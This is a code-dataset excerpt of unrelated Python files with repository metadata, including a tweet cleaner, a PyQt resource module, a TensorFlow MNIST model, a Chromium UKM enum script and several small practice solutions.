return text after removing non-ascii characters i.e. characters with ascii value >= 128
"""
return ''.join([w if ord(w) < 128 else ' ' for w in text])
def remove_hyperlinks(self,text):
"""
return text after removing hyperlinks
"""
return ' '.join([w for w in text.split(' ') if not 'http' in w])
def get_cleaned_text(self, text):
cleaned_text = text.replace('\"','').replace('\'','').replace('-',' ')
cleaned_text = self.remove_non_ascii_chars(cleaned_text)
cleaned_text = self.remove_hyperlinks(cleaned_text)
# remove digits
cleaned_text = re.sub('[0-9]+','',cleaned_text)
# remove hashtags
cleaned_text = re.sub('#[_a-zA-Z][_a-zA-Z0-9]*','',cleaned_text)
# remove @name
cleaned_text = ' '.join([w for w in cleaned_text.split() if not w.startswith('@')])
tokens = [w.translate(self.punc_table) for w in word_tokenize(cleaned_text)] # remove punctuations and tokenize
tokens = [w.lower() for w in tokens if not w.lower() in self.stop_words and len(w)>1]
cleaned_text = ' '.join(tokens)
return cleaned_text
def clean_tweets(self, input_file, output_file='cleaned_tweets.json'):
"""
input_file: name or path of input twitter json data
output_file: file name or path where cleaned twitter json data is stored (default='cleaned_tweets.json')
"""
in_file = open(input_file, 'r')
out_file = open(output_file, 'w')
while True:
line = in_file.readline()
if line=='': break
tweet = json.loads(line)
if 'retweeted_status' in tweet:
if self.remove_retweets: continue
#print('retweet')
retweeter_user_info = tweet['user']
tweet = tweet['retweeted_status'] # replace retweet with original tweet but preserve user info of retweeter
tweet['retweet_count'] = 0
tweet['user'] = retweeter_info
#if not "created_at" in tweet: continue # remove info about deleted tweets
#if not tweet['lang'] == 'en': continue # remove tweets in non engligh(or lang) language
#if not tweet['in_reply_to_status_id'] == None or not tweet['in_reply_to_user_id'] == None: continue # remove comments of any tweet
cleaned_text = self.get_cleaned_text(tweet['text'])
if cleaned_text == '': continue
cleaned_tweet = {}
cleaned_tweet['created_at'] = tweet['created_at']
#cleaned_tweet['id'] = tweet['id']
cleaned_tweet['text'] = cleaned_text
cleaned_tweet['user'] = {}
cleaned_tweet['user']['id'] = tweet['user']['id']
cleaned_tweet['user']['followers_count'] = tweet['user']['followers_count']
cleaned_tweet['retweet_count'] = tweet['retweet_count']
cleaned_tweet['entities'] = {}
cleaned_tweet['entities']['hashtags'] = [ht['text'] for ht in tweet['entities']['hashtags']]
cleaned_tweet['entities']['user_mentions'] = [self.remove_non_ascii_chars(um['name']) for um in tweet['entities']['user_mentions']]
out_file.write(json.dumps(cleaned_tweet)+'\n')
in_file.close()
out_file.close()
if __name__ == '__main__':
tc = TweetCleaner(remove_stop_words=True, remove_retweets=True)
print(tc.get_cleaned_text('The movie The Twilight Saga: New Moon was the biggest winner in MTV Movie Awards 2010; it took 4 out of 10 "Best" Awards #IAmGreat'))
print('\nTweetCleaning DONE...')
| [
"[email protected]"
] | |
840bcb743804cd91fc28d3d3902ca7bcb109294b | 0be06356283a42aadea9165340f6d55e816a7bf5 | /client/ui/resource_rc.py | 9577aa3fbc6e8e18dec582f95cf4facdf6bef938 | [] | no_license | mvisat/sujeongku | fb74427ec488d137a993d7e105a718c44f253826 | 52a74d7c5553fa952cd563d9575ebd3bfeaf04b4 | refs/heads/master | 2021-01-10T06:53:07.914993 | 2015-12-04T14:34:42 | 2015-12-04T14:34:42 | 46,903,336 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 995,660 | py | # -*- coding: utf-8 -*-
# Resource object code
#
# Created by: The Resource Compiler for PyQt5 (Qt v5.3.2)
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore
qt_resource_data = b"\
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\x02\x3e\x6d\x00\x00\x00\x00\x49\x45\x4e\x44\xae\x42\x60\x82\
"
qt_resource_name = b"\
\x00\x05\
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\x00\x69\
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\x00\x0d\
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\x00\x73\
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"
qt_resource_struct = b"\
\x00\x00\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x01\
\x00\x00\x00\x10\x00\x02\x00\x00\x00\x02\x00\x00\x00\x04\
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\x00\x00\x00\x34\x00\x00\x00\x00\x00\x01\x00\x00\x23\x64\
"
def qInitResources():
QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
def qCleanupResources():
QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data)
qInitResources()
| [
"[email protected]"
] | |
cd76f1a279672c1203c7f4ca62612b4e330c4e08 | c7d0432f0cf3ced255be3e9d33fcc5e2250b340b | /main_old_style.py | 52c054eeee47a4deea458b143dd98c8c61646ec4 | [
"MIT"
] | permissive | tgjeon/TensorFlow-Practical-Coding-Pattern | 5f0aeab291a92811b0003bed26d3a3d8fab891e7 | 1e51f0d8c8df71f2a777f2ba3faf00614e011111 | refs/heads/master | 2021-01-11T19:00:46.562355 | 2017-01-18T07:04:06 | 2017-01-18T07:04:06 | 79,291,145 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,308 | py | # Source code from https://github.com/codertimo/Tensorflow-Study/blob/master/7-ConvolutionalNet/MNISTConvolutionalNet.py
#-*- coding: utf-8 -*-
import tensorflow as tf
import numpy as np
import time
# MNIST 데이터를 다운로드 한다.
from tensorflow.examples.tutorials.mnist import input_data
mnist = input_data.read_data_sets("../MNIST_data/", one_hot=True)
x_data, y_data, test_x, test_y = mnist.train.images, mnist.train.labels, mnist.test.images, mnist.test.labels
def init_weight(size_array, name,stddev=0.01):
return tf.Variable(tf.random_normal(size_array,stddev=stddev),name=name)
def model(X,w1,w2,w3,w4,w_h,hidden_rate,last_rate):
# X : (?,28,28,1)
c1 = tf.nn.relu(tf.nn.conv2d(X,w1,strides=[1,1,1,1],padding='SAME')) ## c1 :(?,28,28,32) -> 28x28 32 Ouput
l1 = tf.nn.max_pool(c1, ksize=[1,2,2,1],strides=[1,2,2,1],padding='SAME') ## l1 : (?,14,14,32) -> 14x14 32 Ouput
l1 = tf.nn.dropout(l1,hidden_rate)
c2 = tf.nn.relu(tf.nn.conv2d(l1,w2,strides=[1,1,1,1],padding='SAME')) ## c1 :(?,14,14,64) -> 14x14 64 ouput
l2 = tf.nn.max_pool(c2, ksize=[1,2,2,1],strides=[1,2,2,1],padding='SAME') ## l1 : (?,7,7,64) ->7x7 64 Ouput
l2 = tf.nn.dropout(l2,hidden_rate)
c3 = tf.nn.relu(tf.nn.conv2d(l2,w3,strides=[1,1,1,1],padding='SAME')) ## c1 :(?,7,7,128) -> 14x14 128 ouput
l3 = tf.nn.max_pool(c3, ksize=[1,2,2,1],strides=[1,2,2,1],padding='SAME') ## l1 : (?,4,4,128) ->7x7 128 Ouput
l3 = tf.reshape(l3,[-1,w4.get_shape().as_list()[0]])
l3 = tf.nn.dropout(l3,hidden_rate)
l4 = tf.nn.relu(tf.matmul(l3,w4))
l4 = tf.nn.dropout(l4,last_rate)
hyp = tf.matmul(l4,w_h)
return hyp
##---------- 1.Initialize ---------
X = tf.placeholder("float", [None, 28, 28, 1])
Y = tf.placeholder("float", [None, 10])
droprate_hidden = tf.placeholder("float")
droprate_last = tf.placeholder("float")
x_data = x_data.reshape(-1, 28, 28, 1) # 28x28x1 input img
test_x = test_x.reshape(-1, 28, 28, 1) # 28x28x1 input img
w1 = init_weight([28,28,1,32],"w1") # 3x3x1 Input, 32 Ouput
w2 = init_weight([14,14,32,64],"w2") # 3x3x32 Input, 64 Ouput
w3 = init_weight([7,7,64,128],"w3") # 3x3x64 Input, 128 Ouput
w4 = init_weight([4*4*128,625],"w4")
w_h = init_weight([625,10],"wh")
batch_size = 128
test_size = 256
#-------- 2. run train ----------
hyp = model(X,w1,w2,w3,w4,w_h,droprate_hidden,droprate_last)
print (hyp)
print (Y)
cost = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(hyp,Y))
#tf.train.AdamOptimizer
optimizer =tf.train.RMSPropOptimizer(0.001,0.9).minimize(cost)
predict_optimizer = tf.arg_max(hyp,1)
with tf.Session() as session:
tf.initialize_all_variables().run()
saver = tf.train.Saver()
try:
saver.restore(session, "./model_1.ckpt")
except:
pass
for step in range(100):
test_index = np.arange(len(test_x)) #[1,2,3,..]
np.random.shuffle(test_index)
test_index = test_index[0:256] # 그중에서 256개 가져오기
count_size = len(x_data)/batch_size
count = 0
avg_time = 0.0
for start,end in zip(range(0,len(x_data),batch_size),range(batch_size,len(y_data),batch_size)):
if(count%50==0):
test_index = np.arange(len(test_x)) #[1,2,3,..]
np.random.shuffle(test_index)
test_index = test_index[0:256] # 그중에서 256개 가져오기
accruacy = np.mean(np.argmax(test_y[test_index],axis=1) \
== session.run(predict_optimizer,feed_dict={X:test_x[test_index],Y:test_y[test_index],droprate_last:1.0,droprate_hidden:1.0}))
print("Accuracy :"+str(accruacy))
save_path = saver.save(session, "./model_1.ckpt")
print("모델들이 저장되었습니다")
count+=1
start_time = time.time()
session.run(optimizer,feed_dict={X:x_data[start:end],Y:y_data[start:end],droprate_hidden:0.8,droprate_last:0.5})
avg_time+= time.time()-start_time
print(str(count)+"/"+str(count_size),start,end,("예상소요시간:"+str(int(round(avg_time/count*(count_size-count))/60))+"분"),("cost:"+str(session.run(cost,feed_dict={X:x_data[start:end],Y:y_data[start:end],droprate_hidden:0.8,droprate_last:0.5}))))
#------------------------------- | [
"[email protected]"
] | |
3cddaca39413e5ff9c3efea0843adb6981f9df82 | cf5b4746cc08ae598d41bbcd275a0b8b8b7f6103 | /map.py | 8517829cd2e1cbcc0f551f167fa7418204213126 | [] | no_license | Dontsov/AltGeoView | 403d5a59df802fc6b708708ef402196562b5a8ba | fb10402e9ee5fe57bc7ddc6df6b93dbbae5e24a8 | refs/heads/master | 2016-09-10T18:56:48.212480 | 2014-09-08T03:24:00 | 2014-09-08T03:24:00 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 563 | py | import sys
import os
def application(environ, start_response):
try:
status = '200 OK'
f = open(r'./template/map.html')
output = f.read()
f.close()
response_headers = [('Content-type', 'html'),
('Content-Length', str(len(output)))]
start_response(status, response_headers)
return [output]
except:
status = "500 Error"
response_headers = [("content-type", "text/plain")]
start_response(status, response_headers, sys.exc_info())
return ["Error"] | [
"[email protected]"
] | |
db9062a3780da2045684e987f72463040d963ea3 | d036afd53acede904ef98323b86e25ffd7751472 | /Classes/Setup.py | c412b07d4e01525180100619fad3e93b9eaff8e1 | [] | no_license | michelelt/fantasturie | 0fe84690c1a04a6ced51c8feb8f0040daad0d8a2 | 513c9f0d2e9f0cd69b222428f4410d4a9b3de1eb | refs/heads/main | 2023-03-09T07:44:58.902952 | 2021-02-12T09:53:00 | 2021-02-12T09:53:00 | 327,438,586 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 821 | py | from pathlib import Path
import os
import shutil
class Setupper:
def __init__(self, config, season, journal):
self.root = config['data_root']
self.seasons = season
self.journal = journal
self.create_path_if_not_exists(self.root.joinpath(self.journal))
for season in self.seasons:
self.create_path_if_not_exists(self.root.joinpath(self.journal).joinpath(season))
for day in range(1,39):
self.create_path_if_not_exists\
(
self.root\
.joinpath(self.journal)\
.joinpath(season)\
.joinpath(str(day))
)
def create_path_if_not_exists(self, p):
if not os.path.exists(p):
os.makedirs(p)
| [
"[email protected]"
] | |
cab1203f692a6d400a5b13239994199bce54ce46 | c324a6d923bae3a00bd1dc69a43d0e5c707a104a | /addons-vauxoo/analytic_entry_line_plans/__openerp__.py | df4233e8017a53b64534c2b9e08e4e30fa2f5ba7 | [] | no_license | meswapnilwagh/odoo-adr | 5c593c2240d23b79811ccd7b5297b634e5ffe19d | 442c8d5fa52cab30028a26dd93bd8eae88d58fed | refs/heads/master | 2020-01-27T10:03:27.142715 | 2015-09-04T14:36:59 | 2015-09-04T14:36:59 | 50,238,226 | 0 | 4 | null | 2016-01-23T12:53:28 | 2016-01-23T12:53:25 | null | UTF-8 | Python | false | false | 2,022 | py | # -*- encoding: utf-8 -*-
###############################################################################
# Module Writen to OpenERP, Open Source Management Solution
# Copyright (C) OpenERP Venezuela (<http://www.vauxoo.com>).
# All Rights Reserved
############# Credits #########################################################
# Coded by: Yanina Aular <[email protected]>
# Planified by: Humberto Arocha <[email protected]>
# Audited by: Humberto Arocha <[email protected]>
###############################################################################
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Affero General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Affero General Public License for more details.
#
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
###############################################################################
{
"name": "Analytic Entry Line Plans",
"version": "1.0",
"author": "Vauxoo",
"category": "",
"description": """
Analytic Entry Line Plans
-------------------------
This module takes analytics_id field from move line for grouping of
analytics entry lines by analytics_id.
""",
"website": "http://www.vauxoo.com/",
"license": "",
"depends": [
"account",
"analytic",
"account_analytic_plans"
],
"demo": [],
"data": [
"view/account_analytic_plans_view.xml"
],
"test": [],
"js": [],
"css": [],
"qweb": [],
"installable": True,
"auto_install": False,
"active": False
} | [
"[email protected]"
] | |
a36625a8fa3ba2865da0c8c905df4519226508d5 | 2185d8dbf54692d43df74ba5c023302681b2be90 | /settings/settings.py | 0eeea23e46948f81edd8b80ea78d995f2bc77bcf | [] | no_license | ShariqM/Learning | 8d84f5ec558dd7554b7940d3ec923eb97d0717a4 | ea9a68215bf665cda953413b8d51010113390b7b | refs/heads/master | 2016-09-03T06:48:50.663642 | 2014-07-24T00:58:12 | 2014-07-24T00:58:12 | 16,339,472 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,570 | py | from strats.randomstrat import *
from strats.unembodiedstrat import *
from strats.piggreedystrat import *
from strats.pigvistrat import *
from strats.ltastrat import *
from strats.ltavistrat import *
from strats.cbstrat import *
from strats.bossstrat import *
from strats.dystrat import *
from strats.chainstrat import *
from imodels.chinese import *
from imodels.dirichlet import *
# Run parameters
SS = 0
MAZE = 'maze.mz' # See files in maze_files/ dir
STEPS = 300 # Number of time steps to run
RUNS = 4 # Number of runs
# Strats to run [Choose a (Strategy, Internal Model) pair]
import numpy
def init_strats():
arr = [
#RandomStrat(ENVIRON[0],
#ChineseRProcess(ENVIRON[0], THETA, ALPHA, False, True),
#COLORS['red']),
#
#UnembodiedStrat(ENVIRON[0],
#ChineseRProcess(ENVIRON[0], THETA, ALPHA, False, True),
#COLORS['black']),
#
PigVIStrat(ENVIRON[0],
Dirichlet(ENVIRON[0], D_ALPHA),
COLORS['blue'], PLUS=0, EXPLORER=False),
#
#ES = int(3.0/4 * STEPS)
#im = ChineseRProcess(ENVIRON[0], THETA, ALPHA)
#arr.append(DyStrat(ENVIRON[0], im,
#PigVIStrat(ENVIRON[0], im, PLUS=0, EXPLORER=False),
#BossStrat(ENVIRON[0], im, -1), ES, True))
#
#im = ChineseRProcess(ENVIRON[0], THETA, ALPHA)
#arr.append(DyStrat(ENVIRON[0], im,
#LTAStrat(ENVIRON[0], im),
#BossStrat(ENVIRON[0], im, -1), ES, True))
#PigVIStrat(ENVIRON[0],
#ChineseRProcess(ENVIRON[0], THETA, ALPHA),
#COLORS['green'], PLUS=0, EXPLORER=False),
#
#PigVIStrat(ENVIRON[0],
#ChineseRProcess(ENVIRON[0], THETA, ALPHA, False, True),
#COLORS['purple'], PLUS=0, EXPLORER=False),
##
#CBStrat(ENVIRON[0],
#ChineseRProcess(ENVIRON[0], THETA, ALPHA, False, True),
#COLORS['purple']),
##
#PigVIStrat(ENVIRON[0],
#ChineseRProcess(ENVIRON[0], THETA, ALPHA, False, True),
#COLORS['grue2'], PLUS=1, EXPLORER=False),
#LTAStrat(ENVIRON[0],
#ChineseRProcess(ENVIRON[0], THETA, ALPHA, False, True),
#COLORS['yellow2']),
]
#for (t,ka) in [(0.001, math.log(2))]:
#for (t,ka) in [(0.12, 0.13)]:
for i in range(1):
break
for (t,ka) in [(math.log(2), 0.0), (0.38, 0.31), (0.001, 0.693), (0.001, math.log(2)), (0.001, 0.25), (0.120, 0.13)]:
break
max_k = 4 + 1.0 # Hacky... (Plus one for hypothetical new state)
a = ka / max_k
if a < 0.0 and not t + max_k * a > 0.0:
continue
if a >= 0.0 and not t > -a:
continue
if a > 1.0:
continue
if t == 0.0:
continue
arr.append(
PigVIStrat(ENVIRON[0],
ChineseRProcess(ENVIRON[0], THETA, ALPHA),
COLORS['blue'], PLUS=0, EXPLORER=False))
arr.append(
PigVIStrat(ENVIRON[0],
ChineseRProcess(ENVIRON[0], THETA, ALPHA, False, True),
COLORS['green'], PLUS=0, EXPLORER=False))
#arr.append(
#PigVIStrat(ENVIRON[0],
#ChineseRProcess(ENVIRON[0], 0.001, 0.25, True),
#COLORS['green'], PLUS=0, EXPLORER=False))
#arr.append(
#PigVIStrat(ENVIRON[0],
#GamPypProcess(ENVIRON[0], 0.001, 0.25),
#COLORS['red'], PLUS=0, EXPLORER=False))
#arr.append(
#PigVIStrat(ENVIRON[0],
#ChineseRProcess(ENVIRON[0], 0.12, 0.13, True),
#COLORS['purple'], PLUS=0, EXPLORER=False))
#arr.append(
#PigVIStrat(ENVIRON[0],
#GammaProcess(ENVIRON[0], 0.25),
#COLORS['grue'], PLUS=0, EXPLORER=False))
#arr.append(
#PigVIStrat(ENVIRON[0],
#GammaProcess(ENVIRON[0], THETA),
#COLORS['green'], PLUS=0, EXPLORER=False))
#ES = int(2.0/4 * STEPS)
#im = ChineseRProcess(ENVIRON[0], THETA, ALPHA)
#arr.append(DyStrat(ENVIRON[0], im,
#PigVIStrat(ENVIRON[0], im, PLUS=0, EXPLORER=False),
#BossStrat(ENVIRON[0], im, -1), ES, True))
#
#im = ChineseRProcess(ENVIRON[0], THETA, ALPHA)
#arr.append(DyStrat(ENVIRON[0], im,
#LTAStrat(ENVIRON[0], im),
#BossStrat(ENVIRON[0], im, -2), ES, True))
#
return arr
| [
"[email protected]"
] | |
f0b33f2fccb3c1374656e29cf251afecba3abce1 | 9e988c0dfbea15cd23a3de860cb0c88c3dcdbd97 | /sdBs/AllRun/jl_202/sdB_jl_202_lc.py | 2b4f5c9ca7cb8de33dc66ce3c198d875d11dcd97 | [] | no_license | tboudreaux/SummerSTScICode | 73b2e5839b10c0bf733808f4316d34be91c5a3bd | 4dd1ffbb09e0a599257d21872f9d62b5420028b0 | refs/heads/master | 2021-01-20T18:07:44.723496 | 2016-08-08T16:49:53 | 2016-08-08T16:49:53 | 65,221,159 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 335 | py | from gPhoton.gAperture import gAperture
def main():
gAperture(band="NUV", skypos=[10.055208,-55.031192], stepsz=30., csvfile="/data2/fleming/GPHOTON_OUTPU/LIGHTCURVES/sdBs/sdB_jl_202/sdB_jl_202_lc.csv", maxgap=1000., overwrite=True, radius=0.00555556, annulus=[0.005972227,0.0103888972], verbose=3)
if __name__ == "__main__":
main()
| [
"[email protected]"
] | |
2525d1ca90ad85c1449626f82f62251595f9ced7 | 15f321878face2af9317363c5f6de1e5ddd9b749 | /solutions_python/Problem_136/2611.py | 27a7b364de7900bedf9a9711651bf3f79cebc26b | [] | no_license | dr-dos-ok/Code_Jam_Webscraper | c06fd59870842664cd79c41eb460a09553e1c80a | 26a35bf114a3aa30fc4c677ef069d95f41665cc0 | refs/heads/master | 2020-04-06T08:17:40.938460 | 2018-10-14T10:12:47 | 2018-10-14T10:12:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 243 | py | q = input()
for i in range(1,q+1):
p = 2.0
nums = raw_input().split()
c = float(nums[0])
b = float(nums[1])
x = float(nums[2])
t = c / p
while (x-c)*(p+b) > x*p :
p += b
t += c / p
t += (x-c)/p
print "Case #%d: %.8Lf" % (i,t)
| [
"[email protected]"
] | |
2a09d243c587552a52ad24359eec6472148d2c87 | 1af49694004c6fbc31deada5618dae37255ce978 | /tools/metrics/histograms/populate_enums.py | 1fbc60ce5a8511548b2822ac3d01d2379436dbba | [
"LGPL-2.0-or-later",
"Zlib",
"BSD-3-Clause",
"MIT",
"LGPL-2.1-only",
"LicenseRef-scancode-unknown-license-reference",
"MPL-1.1",
"GPL-2.0-only",
"Apache-2.0",
"LGPL-2.0-only",
"LicenseRef-scancode-unknown",
"APSL-2.0"
] | permissive | sadrulhc/chromium | 59682b173a00269ed036eee5ebfa317ba3a770cc | a4b950c23db47a0fdd63549cccf9ac8acd8e2c41 | refs/heads/master | 2023-02-02T07:59:20.295144 | 2020-12-01T21:32:32 | 2020-12-01T21:32:32 | 317,678,056 | 3 | 0 | BSD-3-Clause | 2020-12-01T21:56:26 | 2020-12-01T21:56:25 | null | UTF-8 | Python | false | false | 2,874 | py | # Copyright 2017 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
"""Functions for populating enums with ukm events."""
from collections import namedtuple
import os
import sys
import xml.dom.minidom
import extract_histograms
sys.path.append(os.path.join(os.path.dirname(__file__), '..', 'ukm'))
import codegen
EventDetails = namedtuple("EventDetails", "name hash is_obsolete")
def _GetEventDetails(event):
"""Returns a simple struct containing the event details.
Args:
event: An event description as defined in ukm.xml.
Returns:
A struct containing the event name, truncated hash, and whether the event is
considered obsolete.
"""
name = event.getAttribute('name')
# The value is UKM event name hash truncated to 31 bits. This is recorded in
# https://cs.chromium.org/chromium/src/components/ukm/ukm_recorder_impl.cc?q=LogEventHashasUmaHistogram
hash = codegen.HashName(name) & 0x7fffffff
def _HasDirectObsoleteTag(node):
return any(
isinstance(child, xml.dom.minidom.Element)
and child.tagName == 'obsolete' for child in node.childNodes)
# The UKM event is considered obsolete if the event itself is marked as
# obsolete with a tag or all of its metrics are marked as obsolete.
is_event_obsolete = _HasDirectObsoleteTag(event)
are_all_metrics_obsolete = all(
_HasDirectObsoleteTag(metric)
for metric in event.getElementsByTagName('metric'))
return EventDetails(name=name,
hash=hash,
is_obsolete=is_event_obsolete or are_all_metrics_obsolete)
def PopulateEnumWithUkmEvents(doc, enum, ukm_events):
"""Populates the enum node with a list of ukm events.
Args:
doc: The document to create the node in.
enum: The enum node needed to be populated.
ukm_events: A list of ukm event nodes.
"""
event_details = [_GetEventDetails(event) for event in ukm_events]
event_details.sort(key=lambda event: event.hash)
for event in event_details:
node = doc.createElement('int')
node.attributes['value'] = str(event.hash)
label = event.name
# If the event is obsolete, mark it in the int's label.
if event.is_obsolete:
label += ' (Obsolete)'
node.attributes['label'] = label
enum.appendChild(node)
def PopulateEnumsWithUkmEvents(doc, enums, ukm_events):
"""Populates enum nodes in the enums with a list of ukm events
Args:
doc: The document to create the node in.
enums: The enums node to be iterated.
ukm_events: A list of ukm event nodes.
"""
for enum in extract_histograms.IterElementsWithTag(enums, 'enum', 1):
# We only special case 'UkmEventNameHash' currently.
if enum.getAttribute('name') == 'UkmEventNameHash':
PopulateEnumWithUkmEvents(doc, enum, ukm_events)
| [
"[email protected]"
] | |
45755d54b549bf785f78a678cd9f369f63c11e35 | 2c49b617f57636be97dcbdf8e6fdc87fcf2d1647 | /jens/management/manager_view.py | c04728ede674cb275d9489921bff50e3e1aa11f1 | [] | no_license | alirezamastery/backend | 1f87a1aa5c5c06802d31eb5c9fbc9e9cd2aaef0d | 2bf17e0783ca92a24eb9faf77617b14f79d67b7b | refs/heads/main | 2023-06-17T19:41:19.194378 | 2021-07-19T17:04:36 | 2021-07-19T17:04:36 | 319,387,658 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,813 | py | # from backend.admin import MyAdminSite
# from django.conf.urls import url
# from django.template.response import TemplateResponse
# from jens.models.category import Category
#
#
# def manager_view(request):
# context = dict(
# # Include common variables for rendering the admin template.
# MyAdminSite.each_context(request),
# # Anything else you want in the context...
# # 'from_me':'from me',
# )
# context['from_me'] = 'this is it'
# context['selectable_categories'] = list()
# context['selectable_categories'].append({'selected': None,
# 'options': Category.objects.filter(level=0)
# })
# context['leaves'] = None
#
# print(context['selectable_categories'])
#
# if request.method == 'POST':
# counter = 0
# while True:
# print('-' * 50)
# selected_category = None
# try:
# selected_category = request.POST.get(f'category_selector_{counter}')
# print(counter, selected_category)
# except:
# break
# context['selectable_categories'][counter]['selected'] = selected_category
# if selected_category:
# selected_category_obj = Category.objects.get(name=selected_category)
# children = selected_category_obj.get_children()
# print(children)
# if not children:
# selected_product = None
# try:
# selected_product = request.POST.get(f'leaves_selector')
# print(selected_product)
# except:
# pass
# if selected_product:
# context['leaves'] = {'selected': selected_product,
# 'options': selected_category_obj.products.all()
# }
# break
# context['leaves'] = {'selected': None,
# 'options': selected_category_obj.products.all()
# }
# print('reached to the products') # insert what you want to do here
# break
# print('all passed')
# context['selectable_categories'].append({'selected': None,
# 'options': children
# })
# else:
# break
# counter += 1
# return TemplateResponse(request, "admin/test_template.html", context)
| [
"[email protected]"
] | |
b831ca703761192c2fbc4542da6b5d93048a15d2 | 70056e5df55cab3afc374b04027bc7c5ec41b118 | /listReverse.py | 813bf67893cbe1ceda75566d59a704c017dadb51 | [] | no_license | retazo0018/guviPractice | f62d942f2e27245b5d21dfb98ebbc3fb37248041 | 1a99a3a0966b31bad6e45610991a17d79d83932f | refs/heads/master | 2021-07-14T00:26:19.161147 | 2020-06-24T05:52:26 | 2020-06-24T05:52:26 | 164,403,667 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 148 | py | n = int(input())
li = list(map(int,input().split()))
for i in range(len(li)-1,0,-1):
print(li[i],end="")
print("->",end="")
print(li[0],end="")
| [
"[email protected]"
] | |
000ae8064aafdef7ce4dd50557650992593bc3fe | dcce56815dca2b18039e392053376636505ce672 | /dumpscripts/re_simple_compiled.py | 9ea488af72c37b0ac64c5250000dc2c11d007f8c | [] | no_license | robertopauletto/PyMOTW-it_3.0 | 28ff05d8aeccd61ade7d4107a971d9d2576fb579 | c725df4a2aa2e799a969e90c64898f08b7eaad7d | refs/heads/master | 2021-01-20T18:51:30.512327 | 2020-01-09T19:30:14 | 2020-01-09T19:30:14 | 63,536,756 | 4 | 1 | null | null | null | null | UTF-8 | Python | false | false | 394 | py | # re_simple_compiled.py
import re
# Precompila i modelli
regexes = [
re.compile(p)
for p in ['questo', 'quello']
]
text = 'questo testo ha corrispondenza nel modello?'
print('Testo: {!r}\n'.format(text))
for regex in regexes:
print('Ricerca di "{}" ->'.format(regex.pattern), end=' ')
if regex.search(text):
print('trovato!')
else:
print('non trovato')
| [
"[email protected]"
] | |
4dabbb4c4df5d1ffdb60944c2949a582ec008fa1 | 3879d1ca43c573c209f962182cd1e7f7fe978fbf | /binarysearch/Longest-Increasing-Subsequence/Longest-Increasing-Subsequence.py | 344c27d87a42bf6e6b484a01e1a81fc998cacc08 | [] | no_license | DoctorLai/ACM | 34a5600a5adf22660c5d81b2d8b7a358be537ecf | aefa170f74c55c1230eb6f352770512b1e3f469e | refs/heads/master | 2023-09-01T02:13:01.604508 | 2023-08-31T15:42:07 | 2023-08-31T15:42:07 | 146,173,024 | 62 | 18 | null | 2020-10-11T13:19:57 | 2018-08-26T11:00:36 | C++ | UTF-8 | Python | false | false | 485 | py | # https://helloacm.com/teaching-kids-programming-greedy-algorithm-to-find-longest-increasing-subsequence-in-onlogn-via-binary-search/
# https://binarysearch.com/problems/Longest-Increasing-Subsequence
# MEDIUM, GREEDY
class Solution:
def solve(self, nums):
n = len(nums)
dp = [1] * n
for i in range(n):
for j in range(i):
if nums[i] > nums[j]:
dp[i] = max(dp[i], dp[j] + 1)
return max(dp, default=0)
| [
"[email protected]"
] |
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